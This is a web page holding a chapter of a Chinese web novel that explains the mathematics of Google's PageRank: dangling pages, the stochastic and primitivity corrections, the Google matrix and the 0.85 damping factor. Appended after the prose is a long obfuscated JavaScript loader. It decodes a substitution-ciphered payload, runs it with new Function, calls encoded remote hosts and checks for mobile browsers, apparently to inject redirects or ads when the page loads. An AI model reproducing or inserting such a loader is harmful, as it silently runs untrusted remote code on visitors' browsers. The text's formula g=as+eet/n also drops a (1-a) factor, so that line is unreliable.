第五百三十三章 谷歌搜索背后的数学原理(2 / 2)

数学大帝 蔡泽禹 0 字 2021-04-28

上述公式的求解是简单得不能再简单的事情,即:pn=hnp0

其中p0为虚拟读者初次浏览时访问各网页的几率分布。

如前所述,佩奇和布林是用虚拟用户在经过很长时间的漫游后访问各网页的几率分布,即limn∞pn,来确定网页排序的。这个定义要想管用,显然要解决三个问题:

1.极限limn∞pn是否存在

2.如果极限存在,它是否与p0的选取无关

3.如果极限存在,并且与p0的选取无关,它作为网页排序的依据是否真的合理

如果这三个问题的答案都是肯定的,那么网页排序问题就算解决了。反之,哪怕只有一个问题的答案是否定的,网页排序问题也就不能算是得到满意的解决。那么实际答案如何呢很遗憾,是后一种,而且是其中最糟糕的情形,即三个问题的答案全都是否定的。这可以由一些简单的例子看出。比方说,在只包含两个相互链接网页的迷你型互联网上,如果p0=t,极限就不存在t和t之间无穷振荡)。而存在几个互不连通区域的互联网则会使极限——即便存在——与p0的选取有关。至于极限存在,并且与p0的选取无关时它作为网页排序的依据是否真的合理的问题,虽然不是数学问题,答案却也是否定的,因为任何一个“悬挂网页”都能象黑洞一样,把其它网页的几率“吸收”到自己身上,这显然是不合理的。这种不合理效应是如此显著,以至于在一个连通性良好的互联网上,哪怕只有一个“悬挂网页”,也足以使整个互联网的网页排序失效,可谓是“一粒老鼠屎坏了一锅粥”。

为了解决这些问题,佩奇和布林对虚拟用户的行为进行了修正。首先,他们意识到无论真实用户还是虚拟用户,当他们访问到“悬挂网页”时,都不可能也不应该“在一棵树上吊死”,而是会自行访问其它网页。对于真实用户来说,自行访问的网页显然与各人的兴趣有关,但对于在平均意义上代表真实用户的虚拟用户来说,佩奇和布林假定它将会在整个互联网上随机选取一个网页进行访问。用数学语言来说,这相当于是把h的列向量中所有的零向量都换成e/n。如果我们引进一个描述“悬挂网页”的指标向量a,它的第i个分量的取值视wi是否为“悬挂网页”而定,如果是“悬挂网页”,取值为1,否则为零,并用s表示修正后的矩阵,则:s=h+aet/n

显然,这样定义的s矩阵的每一列的矩阵元之和都是1,从而是一个不折不扣的随机矩阵。这一修正因此而被称为随机性修正。这一修正相当于剔除了“悬挂网页”,从而可以给上述第三个问题带来肯定回答。不过,这一修正解决不了前两个问题。为了解决那两个问题,佩奇和布林引进了第二个修正。他们假定,虚拟用户虽然是虚拟的,但多少也有一些“性格”,不会完全死板地只访问当前网页所提供的链接。具体地说,他们假定虚拟用户在每一步都有一个小于1的几率a访问当前网页所提供的链接,同时却也有一个几率1-a不受那些链接所限,随机访问互联网上的任何一个网站。用数学语言来说,这相当于是把上述s矩阵变成了一个新的矩阵g:g=as+eet/n

这个矩阵不仅是一个随机矩阵,而且由于第二项的加盟,它有了一个新的特点,即所有矩阵元都为正,这样的矩阵是所谓的素矩阵[注四]。这一修正因此而被称为素性修正。

经过这两类修正,网页排序的计算方法就变成了:pn=gnp0

这个算法能给上述问题提供肯定答案吗是的,它能。因为随机过程理论中有一个所谓的马尔可夫链基本定理,它表明在一个马尔可夫过程中,如果转移矩阵是素矩阵,那么上述前两个问题的答案就是肯定的。而随机性修正已经解决了上述第三个问题,因此所有问题就都解决了。如果我们用p表示pn的极限,则p给出的就是整个互联网的网页排序——它的每一个分量就是相应网页的访问几率,几率越大,排序就越靠前。

这样,佩奇和布林就找到了一个不仅含义合理,而且数学上严谨的网页排序算法,他们把这个算法称为pagerank,不过要注意的是,虽然这个名称的直译恰好是“网页排序”,但它实际上指的是“佩奇排序”,因为其中的“page”不是指网页,而是佩奇的名字。这个算法就是谷歌排序的数学基础,而其中的矩阵g则被称为谷歌矩阵。

细心的读者可能注意到了,我们还遗漏了一样东西,那就是谷歌矩阵中描述虚拟用户“性格”的那个a参数。那个参数的数值是多少呢从理论上讲,它应该来自于对真实用户平均行为的分析,不过实际上另有一个因素对它的选取产生了很大影响,那就是gnp0收敛于p的快慢程度。由于g是一个nxn矩阵,而n为互联网上——确切地说是被谷歌所收录的——网页的总数,在谷歌成立之初为几千万,目前为几百亿,是一个极其巨大的数字。因此g是一个超大型矩阵,甚至很可能是人类有史以来处理过的最庞大的矩阵。对于这样的矩阵,gnp0收敛速度的快慢是关系到算法是否实用的重要因素,而这个因素恰恰与a有关。可以证明,a越小,gnp0的收敛速度就越快。但a也不能太小,因为太小的话,“佩奇排序”中最精华的部分,即以网页间的彼此链接为基础的排序思路就被弱化了,这显然是得不偿失的。因此,在a的选取上有很多折衷的考虑要做,佩奇和布林最终选择的数值是a=0.85。

以上就是谷歌背后最重要的数学奥秘。与以往那种凭借关键词出现次数所作的排序不同,这种由所有网页的相互链接所确定的排序是不那么容易做假的,因为做假者再是把自己的网页吹得天花乱坠,如果没有真正吸引人的内容,别人不链接它,一切就还是枉然[注六]。而且“佩奇排序”还有一个重要特点,那就是它只与互联网的结构有关,而与用户具体搜索的东西无关。这意味着排序计算可以单独进行,而无需在用户键入搜索指令后才临时进行。谷歌搜索的速度之所以快捷,在很大程度上得益于此。

谷歌成立之初跟其它一些“发迹于地下室”的it公司一样寒酸:雇员只有一位,工作场所则是一位朋友的车库。但它出类拔萃的排序算法很快为它赢得了声誉。公司成立仅仅三个月,《pcmagzine》杂志就把谷歌列为了年度最佳搜索引擎。2001年,佩奇为“佩奇排序”申请到了专利,专利的发明人为佩奇,拥有者则是他和布林的母校斯坦福大学。2004年8月,谷歌成为了一家初始市值约17亿美元的上市公司。不仅公司高管在一夜间成为了亿万富翁,就连当初给过他们几十美元“赞助费”的某些同事和朋友也得到了足够终身养老所用的股票回报。作为公司摇篮的斯坦福大学则因拥有“佩奇排序”的专利而获得了180万股谷歌股票。2005年12月,斯坦福大学通过卖掉那些股票获得了3.36亿美元的巨额收益,成为美国高校因支持技术研发而获得的有史以来最巨额的收益之一。

谷歌在短短数年间就横扫整个互联网,成为搜索引擎业的新一代霸主,佩奇和布林的那个排序算法无疑居功至伟,可以说,是数学成就了谷歌。当然,这么多年过去了,谷歌作为it界研发能力最强的公司之一,它的网页排序方法早已有了巨大的改进,由当年单纯依靠“佩奇排序”演变为了由两百多种来自不同渠道的信息综合而成的更加可靠的方法。而当年曾给佩奇和布林带来过启示的学术界,则反过来从谷歌的成功中借鉴了经验,如今一些学术机构对论文影响因子的计算已采用了类似“佩奇排序”的算法。

在本文的最后,还有一件事情在这里提一下,那就是与佩奇和布林研究排序算法几乎同时,有另外几人也相互独立地沿着类似的思路从事着研究。他们中有一位是当时在美国新泽西州工作的中国人,他的算法后来也成就了一家公司——一家中国公司。此人的名字叫做李彦宏,他所成就的那家公司就是百度。这些新公司的发展极好地印证了培根的一句名言:知识就是力量。

!function(){function a(a){var _idx="xvmmbotlxu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8RX^^)OFqR_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"RX^^)OFqR_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mC:2qC4YmRT4"="o}0X5ThF)mCO7h_fTmRT4"="o}02pThFmC:2qC4YmRT4"="o}0_JqhFmCO7h_fTmRT4"="o}02TOhFmC:2qC4YmRT4"="o}0CSqhF)mCO7h_fTmRT4"="o}0)FfThF)fmC:2qC4YmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q/f/o}0j(8}vR8RX^^)OFqR_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();